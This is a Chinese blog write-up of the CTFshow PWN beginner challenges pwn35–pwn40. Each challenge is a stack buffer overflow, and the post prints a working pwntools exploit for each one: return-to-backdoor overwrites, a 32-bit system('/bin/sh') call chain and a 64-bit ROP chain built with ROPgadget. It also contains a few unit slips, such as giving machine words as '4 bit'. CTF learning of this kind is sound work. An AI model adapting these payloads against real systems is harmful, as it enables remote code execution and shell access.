CTFshow-PWN入门-栈溢出pwn35~pwn40

4 篇文章 2 订阅
4 篇文章 1 订阅

本文主要详解CTFshow中pwn入门系列的栈溢出模块的前6题

所用工具:linux环境下的虚拟机、IDA Pro、exeinfope

参考文章:
CTF-Pwn丨栈溢出入门题目思路解析 - 知乎

以下操作中小编用的都是自己的kali环境

pwn35

把附件拖到IDA里,可以看到ctfshow函数会在参数个数大于1的时候触发,因为argc初始值就是1,所以只要有输入就会触发

ctfshow函数是一个可以利用栈溢出的strcpy函数,长度是104,那么只要输入大于104就可以实现栈溢出,输出flag

pwn36

检查附件,没有保护机制

用IDA打开,可以找到get_flag函数,且这个函数没有被引用,根据题目提示,应该这就是那个后门函数

跟进主函数中的ctfshow函数,可以看到是gets函数,且输入没有限制,那么就能利用栈溢出来调用后门函数。具体地,就是将后门函数的地址覆盖到ctfshow函数的返回地址中,引发调用

覆盖的地址长度为0x28+ebp的值(ebp后面是返回地址,前面是局部变量s数组的栈空间)+get_flag函数的地址,最终就是0x28+0x4+p32(0x08048586)

根据上面信息写出以下exp

from pwn import *

p = remote("pwn.challenge.ctf.show", "28143")

offset = 0x28 + 0x4
get_flag_addr = 0x8048586
payload = offset * b'a' + p32(get_flag_addr)

p.sendline(payload)

pwn37

32位程序,checksec命令检查附件,NX保护是开启的,因此不能通过发送shellcode直接获得shell

用IDA打开附件,主函数中只有ctfshow函数

跟进ctfshow函数,是一个可以利用栈溢出的read函数

可以找到backdoor后门函数,其作用是调用system函数执行/bin/sh,那么思路清晰,利用和上一题一样的栈溢出脚本,再加上交互p.interactive(),就能拿到shell,cat flag了

exp如下

from pwn import *

p = remote("pwn.challenge.ctf.show", "28167")

offset = 0x12 + 0x4
get_flag_addr = 0x08048521
payload = offset * b'a' + p32(get_flag_addr)

p.sendline(payload)
p.interactive()

pwn38

checksec命令检查,开启了NX保护

用IDA查看附件,和上一题一样,只不过这次是64位的程序,返回地址和寄存器的长度都是8个字节,覆盖长度变为了0xA+0x8

值得注意的是,这里需要用lea命令的地址作为覆盖的地址,而不是backdoor函数的地址,小编才疏学浅不知道为什么,可能是修改了栈的值导致出现错误

exp如下

from pwn import *

p = remote("pwn.challenge.ctf.show", "28121")

offset = 0xA + 0x8
get_flag_addr = 0x40065B
payload = offset * b'a' + p64(get_flag_addr)

p.sendline(payload)
p.interactive()

pwn39

NX保护开启

32位,依旧是栈溢出+后门函数

但是这里不是system("/bin/sh")了,而是将函数和参数分割,两者都在程序中,所以可以通过栈溢出自行构造完整后门,栈上传参

自行构造完整后门(调用链)对溢出长度有要求,至少要能溢出除ip以外再多2个机器字长(32位4 bit;64位8bit),用于写入调用步骤

exp如下:

#payload=[填充]+[system@plt]+[4bytes填充]+[参数]
from pwn import *

p = remote("pwn.challenge.ctf.show", "28113")

offset = 0x12 + 0x4
system_addr = 0x080483A0
binsh_addr = 0x8048750
payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)

p.sendline(payload)
p.interactive()

pwn40

NX保护开启

思路和上题一样,但是是64位,机器字长为8bit。参数1~6个,使用寄存器传递;参数大于6个, 多出来的参数使用栈传递

exp如下:

这里介绍一下ROPgadget工具,该工具可以绕过NX保护,在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时,前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

有的题,里面既没有现成的system也没有/bin/sh字符串,也没有提供libc.so给我们,那么我们要做的就是想办法泄露libc地址,拿到system函数和/bin/sh字符串;我们就需要获取rdi, rsi, rdx, rcx, r8, r9它们的地址,首先要获取的是rdi的地址。这就是 ROPgadget 的作用。

回到本题,下面利用ROPgadget获得rdi的地址

ROPgadget --binary 文件名 --only "pop|ret" | grep rdi

获取ret的地址

ROPgadget --binary pwn

exp如下:

#payload=[填充]+[pop_rdi_ret]+[参数]+[system@plt]
from pwn import *

p = remote("pwn.challenge.ctf.show", "28151")

offset = 0xA + 0x8
ret_addr = 0x00000000004004fe
system_addr = 0x400520
binsh_addr = 0x400808
rdi_addr = 0x00000000004007e3
payload = offset * b'a' + p64(rdi_addr) + p64(binsh_addr)  + p64(ret_addr) + p64(system_addr)
#这里ret_addr的作用是作为一个8字节的间接跳转指令,用于绕过栈中的返回地址,以达到执行system函数的目的
p.sendline(payload)
p.interactive()

总结:

1.pwn36-pwn38:完整后门&溢出长度大于等于ip。只要我们调用这个后门函数,不需要其他额外的操作就能getshell,通常是system('/bin/sh'),write(1,'flag',32)等形式。

payload = [填充] + [get_shell_addr]

2.pwn39、wn40:残缺后门&溢出长度远大于ip。这里指的远大于ip,意思是可以溢出覆盖除了ip以外的2个以上的(一般情况,实际情况实际分析)机器字长。残缺后门的形式多种多样:提供诸如system等关键函数,flag、/bin/sh等字符串,某些gadget等。

payload=[填充]+[system@plt]+[4bit填充]+[参数]  #32位
payload=[填充]+[pop_rdi_ret]+[参数]+[system@plt]  #64位
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,栈溢出是一种常见的攻击方式。 根据提供的引用,我了解到栈溢出是一种通过向程序输入过长的数据导致数据溢出栈的一种攻击手段。栈是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出栈空间大小的数据时,溢出的数据会覆盖到栈上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用栈溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖栈上的返回地址,使其指向攻击者准备好的恶意代码,从而实现栈溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用栈溢出漏洞进行攻击。这些代码使用Python的pwn库来与目标程序进行交互,并通过构造特制的payload来触发栈溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,栈溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止栈溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN栈溢出是一种通过向程序输入过长数据导致栈溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,栈溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值